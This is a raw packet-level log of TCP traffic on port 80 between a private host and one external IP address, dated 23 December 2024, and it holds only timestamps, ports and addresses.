Dec 23, 2024 06:54:22.667496920 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.667561054 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.667613029 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.668452024 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.668509960 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.668587923 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.668634892 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.669524908 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.669574022 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.669637918 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.669682026 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.670609951 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.670655966 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.670721054 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.670767069 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.671693087 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.671744108 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.671821117 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.671875000 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.672770977 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.672849894 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.672875881 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.672921896 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.673839092 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.673908949 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.673979044 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.674045086 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.674957037 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.675005913 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.675070047 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.675117016 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.675980091 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.676038027 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.676115036 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.676172018 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.677059889 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.677117109 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.677155018 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.677206039 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.678154945 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.678214073 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.678236008 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.678280115 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.679245949 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.679299116 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.679362059 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.679410934 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.680277109 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.680335045 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.680397987 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.680452108 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.681339025 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.681410074 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.681454897 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.681508064 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.682413101 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.682553053 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.682574034 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.682624102 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.683504105 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.683566093 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.683607101 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.683655977 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.684568882 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.684631109 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.684696913 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.684751034 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.685637951 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.685707092 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.685769081 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.685825109 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.686707973 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.686779022 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.686834097 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.686887980 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.687808037 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.687875032 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.687921047 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.687974930 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.688899994 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.688977957 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.689024925 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.689105034 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.689945936 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.689996958 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.690078974 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.690125942 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.691023111 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.691077948 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.691137075 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.691179991 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.692060947 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.692109108 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.692183018 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.692226887 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.693455935 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.693473101 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.693557024 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.693582058 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.694235086 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.694295883 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.694325924 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.694365978 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.695347071 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.695399046 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.695501089 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.695543051 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.696368933 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.696408033 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.696455002 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.696495056 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.697442055 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.697487116 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.697530985 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.697573900 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.698510885 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.698566914 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.698657990 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.698700905 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.699620962 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.699686050 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.699697018 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.699739933 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.700656891 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.700716019 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.700783014 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.700828075 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.701812983 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.701859951 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.837729931 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.837785006 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.837867975 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.837928057 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.838244915 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.838293076 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.838347912 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.838391066 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.839270115 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.839329958 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.839363098 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.839401960 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.840344906 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.840404987 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.840461016 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.840507984 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.841428995 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.841487885 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.841525078 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.841571093 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.842541933 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.842596054 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.842684984 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.842730999 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.843559027 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.843611002 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.843667984 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.843714952 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.844625950 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.844677925 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.844743013 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.844789028 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.845720053 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.845772982 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.845812082 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.845859051 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.846786022 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.846873999 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.846879959 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.846923113 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.847856998 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.847907066 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.847970009 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.848018885 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.848948002 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.848995924 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.849009991 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.849030018 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.850032091 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.850084066 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.850126982 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.850169897 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.851092100 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.851146936 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.851183891 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.851229906 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.852174997 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.852236032 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.852274895 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.852315903 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.853241920 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.853292942 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.853348970 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.853394985 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.854309082 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.854356050 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.854393959 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.854439020 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.855381966 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.855432987 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.855494022 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.855542898 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.856471062 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.856518984 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.856682062 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.856733084 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.857521057 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.857572079 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.857654095 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.857698917 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.858599901 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.858656883 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.858699083 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.858746052 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.859673977 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.859735012 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.859771967 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.859816074 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.860734940 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.860789061 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.860913038 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.860965014 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.861835957 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.861880064 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.861946106 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.861991882 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.862898111 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.862955093 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.863009930 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.863050938 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.863981009 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.864043951 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.864077091 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.864120960 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.865046978 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.865102053 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.865140915 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.865184069 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.866136074 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.866194010 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.866231918 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.866276026 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.867177963 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.867232084 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.867285967 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.867331982 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.868259907 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.868323088 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.868362904 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.868411064 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.869338036 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.869399071 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.869441032 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.869492054 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.870393038 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.870450020 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.870531082 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.870577097 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.871486902 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.871542931 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.871583939 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.871629953 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.872550964 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.872610092 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.872772932 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.872823000 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.873660088 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.873724937 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.873759031 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.873842001 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.874695063 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.874744892 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.874800920 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.874854088 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.875791073 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.875849962 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.875885963 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.875930071 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.876857996 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.876919031 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.876944065 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.876987934 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.877927065 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.877983093 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.878024101 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.878070116 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.879005909 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.879074097 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.879127979 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.879178047 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.880100012 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.880177975 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.880184889 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.880218029 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.881138086 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.881187916 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.881242037 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.881289959 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.882215977 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.882266045 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.882318974 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.882375002 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.883297920 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.883362055 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.883400917 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.883444071 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.884365082 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.884422064 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.884476900 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.884524107 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.885704041 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.885762930 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.885873079 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.885921001 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.886785984 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.886816978 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.886847973 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.886862993 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.887898922 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:22.887953997 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:22.940536022 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.060170889 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.382702112 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.382745028 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.382771015 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.382803917 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.383246899 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.383287907 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.383330107 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.383368015 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.384324074 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.384368896 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.384375095 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.384455919 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.385489941 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.385545969 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.385593891 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.385624886 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.386452913 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:23.386493921 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:23.386562109 CET	80	49889	185.215.113.206	192.168.2.6
